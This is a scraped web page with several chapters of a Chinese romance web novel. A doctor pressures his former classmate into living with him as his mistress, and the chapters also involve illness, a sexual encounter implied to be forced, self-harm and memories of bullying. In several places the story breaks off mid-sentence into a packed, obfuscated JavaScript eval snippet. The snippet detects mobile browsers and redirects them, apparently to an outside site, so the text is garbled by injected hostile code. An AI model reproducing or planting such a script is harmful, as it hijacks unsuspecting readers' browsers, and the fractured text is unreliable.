时听语不想把事情闹大,再说她跟顾嘉珩之间的事情,不管怎么掰开了揉碎了说,都是她对不起他。 “听听,他不能这样对你。”孟砚舟眼底满是心疼,“你不亏欠他任何事情。” “你带我回家吧,好吗?”时听语的语气几乎是在恳求他。 孟砚舟注意到时听语抓着他衣袖的手一直在控制不住的颤抖,他立刻意识到她这是躯体化又发作了。 他二话没说,直接拦腰抱起时听语,将她安顿好在车上,然后开车扬长而去。 离他们不远处也停着一辆车,顾嘉珩还是来晚了一步,他坐在车里清楚地看到了孟砚舟抱走了时听语。 看着逐渐消失在视线中的车,他自嘲般地轻笑了一下:“顾嘉珩,你他妈就是犯贱。” 4. 摊牌 时听语本来就快坚持不住了,从上了车后就开始昏睡,孟砚舟看着她现在的样子心里着急又担心,一路上车开的飞快。 车刚一停到楼下,孟砚舟就立刻下车从副驾驶里抱出来时听语,车里的暖气他开的十足,可还是暖不热时听语身上的凉意。 他一路小跑着上楼,将时听语轻轻放到卧室的床上,又扯过被子将她裹得严严实实。 孟砚舟紧握着时听语的手,两只手不断揉搓着,想要她赶紧暖和起来。 他知道,现在其实应该给时听语泡一个热水澡,不管是刚才顾嘉珩对她做了什么,还是她现在浑身驱散不开的凉意,热水澡都会缓解一下。 但这种事他又不方便做,无奈只能将卧室的空调开到最高温度,帮她暖了一会儿手之后又去厨房煮姜汤。 孟砚舟在厨房转了一圈,只能暗自庆幸上次他来家里给时听语做饭的时候买了姜,用剩下的那些被她堆放在角落,现在倒是起了作用。 “不要……不要……” “对不起……都是我的错……” “该死的人是我……” 时听语带着哭腔的声音从卧室传来,孟砚舟赶紧调小火候,跑进卧室就看到睡梦中的时听语蹙着眉,双手紧握着被子,身体不由自主地颤抖,好像做了什么不好的梦。 孟砚舟半蹲在床侧,伸手握住了她攥紧的手,轻声安抚道:“听听,没事了,我在这里。” 说着另一只手伸过去想要擦掉时听语额头上那一层细密的汗珠,手刚触碰额头的瞬间,孟砚舟意识到她现在的温度有些烫得离谱。 “听听,你醒醒。”孟砚舟轻轻摇晃了几下时听语,发现她依旧紧闭着眼没有任何反应,“糟了。” 孟砚舟一把掀开被子,从旁边随手拿了一张毯子盖在她身上,抱着她就往外走。 她额头这么烫,现在只能去医院,孟砚舟怕她出意外。 心急如焚的孟砚舟现在根本顾不得思考别的,导航搜索了离家最近的一家医院后,带着时听语开车直奔嘉仁医院的急诊。 见孟砚舟着急忙慌地抱着时听语跑进医院大楼,门口的保安也是很负责任的给他指路,很快叫来护士推来了移动床。 “她现在高烧,还一直昏迷不醒。” 医生很快将时听语推进了抢救室,孟砚舟则被拦在了外面。 看着眼前抢救室的灯亮起,孟砚舟又陷入了一种恐慌之中,这已经不是第一次他眼睁睁地看着时听语在里面抢救了。 一想到罪魁祸首是顾嘉珩,孟砚舟那种深深的无力感就像是一拳打在了棉花上,愤怒无处可发,怒吼着冲着旁边的休息椅一脚踢了过去,发出的声响引得周围的人纷纷侧目看过来。 孟砚舟深呼吸了一口气,对着过来警告他的保安伸手表示歉意,冷静了片刻后就靠在墙边死死盯着抢救室的门。 里面的医生给时听语测了体温,已经烧到了39.6度,又赶忙进行了一系列检查,一直折腾到了后半夜,终于监测仪器上她的各项指标才稳定下来。 抢救室的门从里面打开,孟砚舟立刻冲上前询问情况。 “虽然人还没醒,但暂时没什么事了,输完液估计烧就退了。” 听见医生的话,孟砚舟一直悬着的心这才稳稳落地,连声跟医生道谢。 因为时听语还需要醒来再观察一下情况,孟砚舟只好陪着她一起在留观室里输液。 大概是温度降了一些,时听语也慢慢转醒,孟砚舟连忙起身凑近问她还有没有哪里不舒服。 时听语只觉得自己脑袋晕晕的,她有些费力地睁眼看着孟砚舟,但却只能看到他的嘴唇在动,一点声音都听不到,好像自己是置身在了一个真空罩中,隔绝了外界一切声音。 孟砚舟叫了她几声,发觉她的反应不是很好,便放慢了说话的速度,每一个字嘴形都说的夸张:“你是不是听不到我说话?” 时听语轻点了一下头。 这是她从小的毛病了,每次只要一发烧就会导致突发性耳聋,右边听力没问题的耳朵也会听不见任何声音。 久而久之,时听语也学会了一些唇语。 孟砚舟摸了摸时听语的头,轻声安慰道:“没事,会好的。” 正好有医生过来查看情况,孟砚舟将时听语现在暂时性耳聋的情况告知了医生。 医生快速检查完后告诉孟砚舟:“她这个情况可能要转到耳鼻喉科去住院观察一下,我去联系他们科室值班医生,你先去办一下住院手续吧。” 孟砚舟看了一眼时听语,有些犹豫。 刚才情急之下才来的这里,更何况现在还要转去耳鼻喉科,早晚要碰上顾嘉珩。 “算了。”孟砚舟还是没忍心折腾病中的时听语转院,“这回有我在,他也不能怎么样。” 孟砚舟这边刚办完手续安顿好时听语,一个陌生电话就打了进来。 他一开始没在意,以为是骚扰电话就直接挂断了,直到电话三番五次打进来。 时听语看到孟砚舟一直在看手机,怕因为自己耽误他的正事。 “砚舟哥,你有急事的话就先去处理吧,我已经没事了。” 说完电话又再一次打进来,孟砚舟跟时听语比了一个接电话的手势,然后出门去接听。 “您好,是盛景花园1602的业主吗?我们是物业的。” 孟砚舟听着电话中对方的问题,应了一声,但一下秒猛然想起自己出门前没关火。 昨晚走的太着急,火上熬着的姜汤忘得一干二净,还好是开了小火,但最终也是熬干了汤冒起了浓烟,引得房间里烟雾报警器开启了自动喷水加报警。 “孟先生,您现在可能需要回来处理一下房子的问题。” 孟砚舟朝病房里看了一眼:“我这边还有些事情,这样吧,如果造成了什么公共损失都由我来承担。” 对方一听孟砚舟不准备回来,有些难为情:“孟先生,这我们也做不了主,更何况消防人员也在这里等着您呢。” “那好吧。”孟砚舟无奈挂断电话。 他本来放心不下时听语一个人待在医院,但当下他又必须得回去处理,为了不让时听语担心,他也只能说自己回去做点吃的给她带来。 交代完孟砚舟就离开了医院,想着快去快回应该不会有什么大问题。 * 顾嘉珩天刚亮就来了医院,昨晚回去后他一夜没睡,他也不知道自己到底在气什么。 大半夜担心时听语,跑出去又刚好撞见他们两个人在街上搂搂抱抱。 回家收拾床上的一片狼藉,床单上的血迹又惹得他心烦,其实当下他从时听语的反应就能感受得到这是她的第一次,事后想起来他也觉得自己不是什么好东西。 刚进办公室,住院部的小谢就对顾嘉珩说:“顾医生,你来得正好,昨晚上抢救室那边收了一个发高烧的病人,她突发性耳聋所以转咱们科室了,我正要过去检查,你今天不是在住院部吗?那跟我一起过去看一眼吧。” 小谢说完将病人的病历递给了顾嘉珩,他接过来,上面病人的名字让他怔住了。 患者:时听语 一时间小谢刚刚说的话反复在顾嘉珩脑子里闪回,想到昨晚自己对她做了什么,顾嘉珩当场就想抽自己一巴掌。 他拦住正要出门的小谢:“这个病人我认识,是一个朋友,我自己过去看就好,你值夜班也够辛苦了。” “熟人啊,那行,你去吧。”小谢打了一哈欠,“我正好去补会觉。” 顾嘉珩又低头看了一眼病例,推开门朝着病房走去。 顾嘉珩在时听语的病房门外徘徊了很久,他整理了一下自己的白大褂,从兜里掏出口罩戴上后才推门进去。 时听语虽然醒着,但由于听不见,她也没有注意到门外有人进来。 顾嘉珩就站在门口看了她很久,不知道哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我听不懂你在说什么。” 孟砚舟轻扶了一下眼镜,反问道:“嘉仁医院是你外公的产业,对吧?” 话音刚落,顾嘉珩站直身子,收起了那几分的漫不经心,朝着孟砚舟走近了一步:“你调查我?” “彼此彼此,不然那张写着听听名字的请柬怎么可能会送到我的手上,说起来我倒是成了递给你的那把刀。” 孟砚舟继续说:“有些人表面看上去衣冠楚楚的,实际上却是禽兽不如。这次如果不是听听求我,我想我们现在见面的地方就不会是在医院而是警察局了。” “那我倒要谢谢你的手下留情了,不过说起来谁能比得上孟大经纪人的格局大呢?爱而不得的滋味不好受吧。” 顾嘉珩是聪明人,昨晚那一夜他就已经猜到了孟砚舟跟时听语之间什么关系都没有。即使有,怕也只是孟砚舟的一厢情愿罢了。 孟砚舟倒是被这些话激了起来,他一把拽住了顾嘉珩的衣领,推搡着他后退了几步,重重的撞在了墙上。 顾嘉珩闷哼了一声,他双手张开举起,轻蔑地看着孟砚舟笑了一下:“这里到处都是监控,看来我们俩之间有可能……是你先进警察局吧。” “你威胁不到我,不过我警告你,以后离听听远一点。”孟砚舟没有丝毫客气。 “我们之间的事情,还轮不到你一个外人说话。你信不信,只要我想,她就只能乖乖留在我身边。” 顾嘉珩死死盯着孟砚舟,挑了下眉,伸手一把推开了孟砚舟攥着自己衣领的手。 他整理了一下自己衣领,嗤笑了一声,没再说任何一个字,径直朝前推开门走出了楼梯间。 孟砚舟缓缓转过身,盯着那扇被关上的楼梯间的门发呆。 他忽然有些后悔,自己当初不应该让时听语回来的。 5. 交易 孟砚舟在楼梯间冷静了半天,才提着已经放凉了的粥去了时听语的病房。 里面护士正要带着时听语去做检查,她看见孟砚舟进来,笑着说:“砚舟哥,我要先去做检查了,你在病房里等我一会儿吧。” 孟砚舟看了一眼手里的粥,点点头:“好,正好粥有些凉了,我一会儿再出去给你买一份。” 护士领着时听语进了诊疗室,每一项检查都做的仔细,哪怕时听语觉得好像根本没这个必要,但也拗不过护士的坚持。 她觉得像她这种陈年旧疾,做这些也是在浪费时间。 折腾了半天,等时听语回到病房的时候孟砚舟还没有回来,护士又在白纸上给时听语写了一些注意事项,嘱咐她好好休息,然后就离开了病房。 时听语坐回床上半靠在床头,伸手捂住了自己的右耳。 刚才注射的耳内针让她有些眩晕感,现在耳内也嗡嗡的杂音作响。 门突然被推开,时听语感觉到有人进来,侧头朝来的人看过去。 顾嘉珩走过来什么话也没说,只是将手里提着的早饭放到了她面前的桌子上。 时听语愣了一下,抬头看着顾嘉珩。 “这么看着我干什么,这粥里又没毒,趁热喝。” 顾嘉珩说完也没有要离开的意思,反而搬了一张椅子坐在了时听语的床边,俨然一副要盯着她吃完的意思。 本来顾嘉珩去找护士是为了问时听语的检查情况,护士随口说的病人还没吃早饭的事情他却上了心。 “怎么?还需要我喂你吗?”顾嘉珩看时听语依旧坐在那没有任何动作,拿过勺子伸到时听语面前。 时听语看顾嘉珩这架势,只好无奈将粥拿过来,打开盖子,象征性喝了几口,一边喝还一边抬眼悄悄观察着一旁的顾嘉珩。 孟砚舟也出去一段时间了,时听语估摸着他也快该回来了,有件事她想了一上午了,趁着顾嘉珩在,还是得尽快跟他讲。 “顾嘉珩。”时听语放下勺子看向顾嘉珩,抿了抿唇有些难为情地开口,“你能不能去帮我买个东西?” 顾嘉珩顿了顿,目光从病历夹上移向时听语,勾了下唇,一副混不吝的样子:“好啊,那你先说说看,想让我买什么?” 他的眼神里充满了戏虐与轻佻,时听语想说的话一时间被卡在喉咙。 时听语身侧的手捏紧了床单,她咽了下口水,吞吞吐吐小声说道:“就是那个……那个药。” “什么药?”顾嘉珩皱了下眉头,猛一下没反应过来,他以为时听语又有哪里不舒服。 但他的反问在时听语看来就像是故意的,她一时之间竟然不知道该怎么回答,蓦然红了耳根。 她又气又恼地盯着顾嘉珩,撇开头:“算了,当我没说。” 顾嘉珩看着时听语长发半掩下的雪白耳根可耻的羞红,突然反应过来时听语指的药是什么。 一时间病房里的气氛变得有些尴尬,说到底这件事还得怪他自己,是他昨晚太冲动,没有考虑带套的事情。 顾嘉珩假装咳嗽了两下打破了空气凝固的尴尬状态,他挪了挪椅子,更靠近了时听语一些:“你怎么不让孟砚舟去买呢,就这么怕他知道,我们昨晚做了什么吗?” 时听语看着他一字一顿地说完,半个字都没说,默默沉下头,只是机械性地往嘴里一勺一勺填着粥,眼圈不自觉的渐渐红了。 她的耳朵一发烧就会暂时性听不见的事情顾嘉珩从高中的时候就知道。 那个时候的他,只要自己生病没去学校,他一准儿放学会带着做好的饭跑去家里看她,也会像现在这样盯着她,连哄带骗地看着她喝完一整碗粥。 时过境迁,眼前同样都是粥,可不知道为什么,这次的粥她尝起来又苦又涩。 眼泪啪嗒掉进粥里,时听语把头埋得更深了,她在心里安慰自己,是因为自己病了,所以才会吃什么都觉得苦。 她掉落的那滴眼泪同时也砸进了顾嘉珩的心里,一阵莫名的烦躁感袭来,他站起来转身离开,走到门口又停下,丢下两个字就出了门。 “等着。” 顾嘉珩回办公室脱了白大褂,出门准备去医院外最近的药店去买避孕药。 他现在满脑子都是时听语,走路也没有注意看,拐弯直接跟对面的人撞个正着。 “顾嘉珩,你今天怎么回事啊?” 顾嘉珩看着被自己撞到的好兄弟简叙白,思绪还没有从时听语那里回来。 简叙白看他这个样子倒是莫名笑了:“说说吧,你这是怎么了,一副魂不守舍的样子。早上先是半路抢了我的早饭,现在又撞了人连句道歉都没有,魂被勾走了啊?” “我问你个事儿,你说事后避孕除了吃药还有不伤身体的办法吗?” 简叙白倒是没想到顾嘉珩这么直接,要不是因为在医院自己又穿着这身白大褂,那句骂人的话差点儿脱口而出。 “亏你自己还是个医生,这种事当下不做好措施,事后让人家女孩子吃药的时候你怕对身体不好,我看你还不如禽兽呢。” “哎不对啊。”简叙白反应过来,“你……你找到她了?” 这么多年顾嘉珩别说恋爱了,他身边连个能近身的女孩子都没有,上次他能顺从家里安排跟程家二小姐相亲已经是破天荒了。 能让他主动做到这个地步的,除了当初在陵江的那个女孩子,简叙白实在是想不出还有谁能让他这样失魂落魄。 顾嘉珩没有多解释,只是拍了拍简叙白肩膀,朝医院门外走去。 * 时听语不知道顾嘉珩是良心发现还是最近很忙,自从那天他把避孕药买回来给她后,一连几天都没有再出现在她面前。 “你的听力恢复的不错,一会儿就可以办理出院手续了,开的药记得要按时吃,两周之后再来医院复诊。” 护士转头将单子交给孟砚舟,又多嘱咐了他几句回去要注意的事项。 在医院这一周多的治疗,时听语天天都被安排去打针输液,还要按时吃各种药,尽管两天前她就已经能听到了,可还是被多留了几天。 孟砚舟跟着护士去办完出院手续,回到病房帮着时听语一起收拾东西。 “砚舟哥,我再也不想在医院住院了。” 孟砚舟没停下手里的活,笑笑回应:“那你就好好照顾你自己,我也不想再在抢救室门外等你了。” 两人正说着话,顾嘉珩从外面推门进来,看着时听语他们俩在说说笑笑,心里一股酸意涌出来。 “看来我来的不是时候啊。” 孟砚舟有些警惕地看着顾嘉珩,他挡在时听语面前,表面话倒是给足了体面:“顾医生说笑了,听听的病能好这么快,还得感谢顾医生的高超医术。” 顾嘉珩上前几步,笑着看向孟砚舟身后的时听语:“是吗?可我怎么感觉时小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420207|169002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐对我好像并没有感激之情呢。” 顾嘉珩今天来没有穿白大褂,时听语看出来他大概今天不上班,所以对他出现在这里有一种不好的预感。 “我有些话要跟时小姐单独说。” “不行。”孟砚舟拦下顾嘉珩,“有什么话是我不能听的,听听也不会在意的。” 顾嘉珩一挑眉:“是吗?你确定你要听?” 顾嘉珩虽然是在跟孟砚舟说话,可眼神却看向时听语,说话的尾音拉的很长,仿佛在给什么暗示。 “砚舟哥,你拿着东西先出去等我吧。”时听语开口。 她不知道顾嘉珩下一秒又会说出什么话,她觉得有些事孟砚舟还是不知道的好。 听着时听语这么说,孟砚舟也不好再坚持,他扶了一下时听语的肩膀,说道:“我就在门口,有事叫我。” 说完朝着顾嘉珩投去了一个冷冽的眼神,拿着床上的包走出了病房。 听见门被关上,顾嘉珩插着兜不慌不忙坐到了床边,没有任何的铺垫,开口就说:“我的车就停在外面,从今天开始,你跟我回家住。” “你知道自己在说什么吗?” 顾嘉珩勾唇:“当然,我现在清醒得很。” “你让我跟你回去,那你女朋友呢?你这样做对得起她吗?” 如果说那一夜是他一时冲动,那现在又该怎么解释,他明明身边都有了女朋友,怎么还可以若无其事地对她说出这些话。 “女朋友?”顾嘉珩愣了一下,很快明白过来时听语误以为那天跟他一起吃饭的女孩子是他女朋友。 顾嘉珩起身靠近时听语,微微俯身贴近她的耳畔,手揽过她的腰:“我们怎么样好像不需要你操心吧,至于你嘛,做情人也不是不可以。” 时听语一把推开他,“啪”的一声,一个响亮的耳光掠过他的脸。 顾嘉珩顿了一下,手抚上自己的左脸,莫名地笑了。 “时听语,你别忘了我妈是怎么死的,你欠我的不是那一晚就能还清的,你跟我回去,等什么时候我对你腻了,我们之间的债就算清了。” “我可以拒绝吗?” “你有拒绝的权利吗?” 时听语有些哽咽:“顾嘉珩,你想让我做任何事情都可以,哪怕你想要我这条命都行,但唯独这件事,我不愿意。” 她不想去做别人情感里的第三者,更何况以她现在的身体状况,要是住在一起顾嘉珩不可能发现不了异常。 “好,时小姐一贯的铁石心肠,只可惜了我妈,当初也是看走了眼……” 顾嘉珩还在自顾自地说着,时听语只觉得自己好像又要陷入了那场回忆,她红着眼问:“你一定要这样的补偿吗?” 顾嘉珩没说话,但他的眼神表明了一切。 时听语垂眸苦笑了一下,的确,她欠的债就该由她来还。 “好,我跟你回去。” 门被打开,顾嘉珩一脸得意的神情走出来,孟砚舟并没有搭理他,走上前拉住后面缓缓走出来的时听语。 “听听,我们回家。”说完就要拉着时听语走。 时听语站在原地没有动,孟砚舟脚下一顿,有些不敢置信地回头看着她。 时听语还没有开口,一旁的顾嘉珩主动伸手把时听语拉进自己怀中,一脸挑衅的样子看着孟砚舟。 “孟大经纪人,以后对我的女朋友请不要动手动脚的。” 6. 愧疚 孟砚舟的瞳孔微微一震,因为时听语还在一旁,他已经很刻意的在压制体内的怒火:“顾嘉珩,你是不是忘记我对你说过什么了?” 顾嘉珩挑眉,嘴角漾起弧度,视线轻飘飘地看向孟砚舟,丝毫不在意他说的话。 看着两人谁也没打算罢休的样子,时听语只觉得周遭散发着浓烈的火药味,她连忙挣开顾嘉珩的手,上前挡在了孟砚舟的面前。 “顾嘉珩,你可不可以在医院外面等我?” 顾嘉珩视线下移,散漫的眼神瞬间一变,神情多了几分生人勿近的冷冽。 他盯着时听语几秒钟没说话,他不明白为什么她次次都要护着孟砚舟,但看着她满眼乞求的眼神,最终还是败下阵来,只是没什么耐心地丢下一句话:“给你十分钟。” 看着顾嘉珩走远,时听语才松了一口气,转过身来看着孟砚舟。 还没等自己开口,就只见孟砚舟紧皱眉头,一脸担忧:“听听,他刚才是不是威胁你了?” 时听语摇摇头,她故作轻松地笑了笑,眼神飘忽不敢对上孟砚舟的目光,怕自己的心虚会被他看穿。 “砚舟哥,你不用担心我,他也不会对我怎么样的,就只是想找人发泄怨恨罢了,这种事我就早就习惯了。” 孟砚舟虽然没有亲眼目睹过时听语上学被人欺负的日子,可当初听到她轻描淡写的说这些的时候,还是忍不住会心痛。 到底是多心软善良的人,才会把别人导致的过错归咎在自己身上,默默忍受着长达四年多的霸凌,说到底她也是受害者。 直到顾嘉珩的出现,才终止了这场没有期限的施暴,所以孟砚舟一直都知道顾嘉珩在她心中的分量。 当初时听语用来形容顾嘉珩出现在她生命中的话,孟砚舟到现在都清晰地记得。 她说,他是她暗室逢灯的际遇,绝渡逢舟的救赎。 可当初那束照进心底的光也可以变成刺痛人心的利刃,他不敢去想对现在的时听语来说,每次看到顾嘉珩的那张脸到底该有多痛。 爱可以是救赎,也同样可以将人推入万丈深渊。 “对不起听听,如果当初知道你回来面对这一切会变成现在这样,我就是绑也要把你绑在法国。” 时听语突然鼻子一酸,她知道现在这个世上大概只剩孟砚舟能看透她表面的那些伪装:“砚舟哥,不是你说的吗?我也不能逃避一辈子吧,既然再遇到,那些前尘旧事就一次性解决吧。” * 时听语从医院大门出来,一眼就看见了站在台阶下的顾嘉珩,她怕他们俩再见面又会杠起来,所以自己一个人先出来了。 看着时听语走过来,顾嘉珩不紧不慢抬手看了一眼自己的手表,语调端的散漫:“你对他就这么依依不舍,超时了。” 说完用食指敲了敲表盘,示意给时听语看。 时听语没理他,直接开口说:“你先送我回家一趟,我回去收拾一下行李。” “不需要。”顾嘉珩伸手握住时听语的手腕,一把将她塞进车里,“你缺什么跟我说,我给你买。” 上车后的顾嘉珩还不忘在时听语的心头再插一刀:“毕竟这点钱我还是出得起的。” 时听语听出了他话里的另一层含义,她陪在他身边,他给她花钱天经地义,□□和金钱的交换谁也不欠谁,现在他们之间就是那种最见不得人的最肮脏的关系。 她下意识扭头看向顾嘉珩,怀揣着最后的那一点希望哑着声音问道:“那你刚才为什么要说我是你的女朋友?” 顾嘉珩嗤的一笑:“不然呢?跟孟砚舟说你是我的情人吗?” 毫无预兆的心痛,如同一把钝刀狠狠捅进了心脏,时听语觉得自己每呼吸的一口气都伴随着胸口的钝痛,那种疼痛好像要将她吞噬掉。 她嘴唇微微颤抖着,没有再说话,她知道现在自己不管说什么都是在自取其辱。 时听语闭上眼睛,试图让自己不去在意顾嘉珩说的话,但过去的那些记忆偏偏如同潮水一般涌上来,带着撕心裂肺的波浪,狠狠地拍打在她的心上,每一次心脏的跳动带来的巨痛感都牵扯着全身。 衣袖下的手攥的死紧,指骨用力得泛白,指甲渐渐嵌进掌心,直到一股黏腻感在她的指尖蔓延开来。 好像每次只有身体上有些痛感才能抵消掉心头那种痛的窒息感。 时听语缓缓睁开眼看向窗外,眼前的路渐渐熟悉起来,上次从这里被顾嘉珩赶出去到现在又回到这里,就好像是做了一场梦。 车停在别墅门口,时听语跟在顾嘉珩身后进了屋内,顾嘉珩没有管她,自己换了鞋径直走进客厅,只留下她一个人尴尬地站在玄关处。 听着时听语半天没有动静,顾嘉珩才回头开口:“柜子里有拖鞋,难道还需要我帮你换吗?” 时听语抿了下唇,缓了几秒才伸手打开鞋柜门,在一堆男士鞋之中放着一双崭新的女士拖鞋,她并没有多想,快速换好鞋走进客厅。 站在客厅茶几前,时听语环顾了一圈,视线又看向坐在沙发上正拿着手机回消息的顾嘉珩,犹豫着问道:“我睡在哪儿?” 顾嘉珩一怔,先是抬眼看了一眼眼前站着的人,随后按灭手机扔在一旁,起身走到时听语面前,他故意靠的很近,勾唇一笑:“自然是跟我睡一起。” “我现在有点事情要出去一趟,你随意。”顾嘉珩话说得轻松,就好像时听语是这间屋子的女主人。 顾嘉珩拿起手机准备离开,走到玄关处又回过头对着时听语说:“哦对了,我希望我晚上回来的时候,你还在家。” 他话里的意图显而易见,时听语听着那声“砰”的关门声,不禁低头苦笑了一下。 心里像是被掏空了一片,空荡荡的没有安全感,她叹了口气,自嘲道:“时听语,你们之间怎么会变成现在这样。” 顾嘉珩走之后没多久,时听语用手机下单了超市的日用品外送过来,原来住的盛景花园离这里太远,她怕回去收拾来不及赶回来又会惹顾嘉珩不高兴,更何况顾嘉珩连房门密码都没有告诉她,她连出门去超市都不可能。 时听语坐在沙发上,看着眼前空荡荡的房子,她觉得房间安静的有些可怕。 看屋内的陈设也不像有第二个人居住的样子,时听语不知道顾嘉珩是怎么能忍受一个人住在这里,以前的他最喜欢热闹了。 屋内的东西时听语也不太敢动,她不知道现在的顾嘉珩会不会介意,所以就一直待在客厅坐在沙发上等着他回来。 天渐渐黑了,时听语不知道顾嘉珩什么时候会回来,有些困意席卷上来,她也不敢去他房间里睡,就蜷缩在沙发上迷糊着了。 顾嘉珩回来的时候,一进来屋里一片漆黑,他心里骤然一紧,他以为时听语真的离开了,开了灯鞋都没顾得上换就往客厅里走,直到看到缩在沙发角落里睡着的时听语,心才重重落下。 他站在原地一动不动地看了半天,最后无奈摇摇头,走进卧室拿了一条毯子出来轻轻盖在了时听语身上。 时听语入睡一向困难,即使睡着也向来睡眠很浅,毯子盖在身上的瞬间,她突然惊醒,但看见眼前眉眼温柔的顾嘉珩,一时间还以为自己在做梦。 “我家沙发睡的比床舒服是吗?” 顾嘉珩的话让她瞬间清醒,她赶紧坐起身,用手胡乱捋了捋自己的头发,说道:“你回来了。” 顾嘉珩继续说:“大冬天的,刚从医院出来又想回去吗?我可没有照顾人的癖好。” “对不起啊,我也不知道怎么就睡着了。” 时听语的那句“对不起”让顾嘉珩听的心烦,他起身后退了两步直接坐在了茶几上,视线平行看着时听语也不说话,过了半天才缓缓说:“时间不早了,睡觉吧。” “我......我今天身体不太方便。” 时听语突然伸手拽住了起身要走的顾嘉珩的衣角,她垂着头,说话的声音很小。 她没有骗顾嘉珩,早上他走没多久时听语就发现自己例假来了,不然也不会难受的迷迷糊糊睡着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾嘉珩顿了几秒,起身松开她:“正好我也饿了,我去煮面,你收拾一下出来吃饭。” 房间的灯被打开,时听语缓了一会儿才坐起来,她看了一眼手腕上的表,已经12点了,她觉得之后这样下去也不是办法,明天一定得回去先把安眠药带过来。 时听语在房间里待了半天才磨磨蹭蹭地出来,刚好顾嘉珩做好了两碗面。 他把其中一碗放到时听语面前:“吃吧。” 时听语看着自己碗里,满满的一碗面,上面还卧着一个荷包蛋,而对面顾嘉珩的那碗就好像是锅里盛完她的之后剩下的边角料。 见时听语没动筷子,顾嘉珩问:“你不是饿了吗?这时候还挑吃什么啊?” 时听语尴尬地笑了笑,她只是觉得眼前这一大碗不知道该怎么吃完,早知道就不找这个理由了,但面对顾嘉珩又没办法,只好动筷子硬着头皮吃。 面条刚刚进嘴,她整个人都愣住了,大脑中像是多年前的记忆被唤醒,她垂眸盯着碗里的面条许久,又抬头看向顾嘉珩。 “这面……”面条的味道她有些熟悉。 顾嘉珩没在意:“不好吃也凑活吃吧。” 她红着眼眶颤抖着声音问道:“你后来......还回过陵江吗?” 顾嘉珩拿筷子的手猛然一顿,但仅仅失神了几秒后就迅速调整情绪,随后放下筷子,一脸冷淡地看着时听语说:“没有,怎么了?” “没什么。”时听语摇摇头,她觉得大概是自己想多了,“你煮的面跟以前我们在陵江常去的那家味道一样。” “是吗?我早就不记得了。” 顾嘉珩低下头,拿筷子有意无意地杵着碗里的面,他以为时听语不会记得。 这些年他反反复复的回忆着他们在一起的那段记忆,一遍遍的从回忆中找着那些时听语也是爱他的证据,他也不知道他们为什么会是这样的结局。 当初她的不解释,她的一走了之,这么多年杳无音信,现在身边还多了另一个全然信任的男人。 他这些年的不甘,他的恨,都不知道该怎么去发泄。 时听语听见顾嘉珩说他不记得了,也只是淡淡笑了一下,垂下泛红的眼眸,又拿筷子往嘴里猛塞了几口面条。 嘴里含糊不清地说着,像是在回应顾嘉珩,但声音又小到像是在自言自语。 “不记得也好。” 7. 回忆 时听语盯着自己碗里的面,当初在陵江的那一碗面应该是他们之间的开始,那是她现在再也无法触及的美梦,但对顾嘉珩来说,或许是他人生痛苦的开始。 ...... 顾嘉珩是在高二下学期的时候从宜淮转学到陵江,进了时听语的班级。 当时班里只有时听语一个人没有同桌,孤零零一个人坐在教室最后一排的角落里,顾嘉珩就这么阴差阳错被安排到了她旁边。 高中时候的顾嘉珩阳光帅气,外向开朗,转来没几天就跟班里的同学混的差不多熟了,唯独除了自己的同桌时听语。 时听语不怎么爱说话,课间也很少出教室,除了上课几乎就是埋头在那做题,顾嘉珩几次搭讪都吃个闭门羹,但他好像一点也不在意,依旧自说自话,上课睡觉前会让时听语帮他盯着老师,没写作业就来借她的抄,哪怕她根本不怎么理自己。 一次中午吃完饭回教室,顾嘉珩隔着老远就看到自己班门口围了一群人,他一副好奇的样子探头挤进去,却看到班里的几个女生围在时听语周围。 他没有听见她们之前在说什么,就只见领头的女生一把将自己的饭盒狠狠砸到了时听语身上,饭盒从时听语的身上弹落到地上,玻璃碎裂的声音尤为刺耳。 “哎,你们干什么呢?”顾嘉珩推开门口看热闹的人,走进班里出声制止。 看见顾嘉珩进来,周围几个女生都有些心虚地站到了领头女生的后面,时听语红着眼抬头看了一眼顾嘉珩,捂着自己的手臂转头跑出了教室。 她一路跑到了教学楼后面的一处小花园凉亭,学校只有这里没什么人,只有在这里她才能想哭就痛快哭一场,手臂传来的一阵阵痛感让她更觉得委屈。 不知道过了多久,时听语听见身后有脚步声传来,她连忙回头看过去,发现顾嘉珩正双手插兜倚在凉亭柱子上看着她。 时听语看见顾嘉珩,赶紧用手背胡乱蹭掉脸上的泪痕,垂着头就要离开,但顾嘉珩眼疾手快,抢先一步整个身子挡在她前面。 他垂眼注意到了时听语被砸的右手臂上已经青紫一片,不禁皱了下眉。 察觉到顾嘉珩在盯着自己手臂看,时听语下意识将手背到身后,小声说了一句:“麻烦让一下,我要回教室了。” 顾嘉珩没有动地方,微微俯身凑近时听语,对上她的视线,痞痞地笑了一下:“我们要不要做点刺激的事情?” 时听语莫名的心里一紧,她不知道顾嘉珩到底想要干什么,又怕他像班里其他人一样是来故意羞辱她的。 她咽了下口水,缓缓朝后挪了两步,垂着头也不说话。 见时听语没有给出答复,顾嘉珩挑了下眉,朝她伸出了手:“哎,好学生,敢不敢跟我一起去逃课?” 时听语缓缓抬眸,避无可避地撞进顾嘉珩温柔的眉眼之中,那个时候她还不懂什么叫做一见钟情,只是觉得眼前这个眉清目秀的男孩子可真好看,他的眼神像是一汪满载星辰的大海,让人只想沉溺其中。 她也不知道自己到底是被他的眼神蛊惑还是其实自己内心也渴望有个人能带她逃离教室。 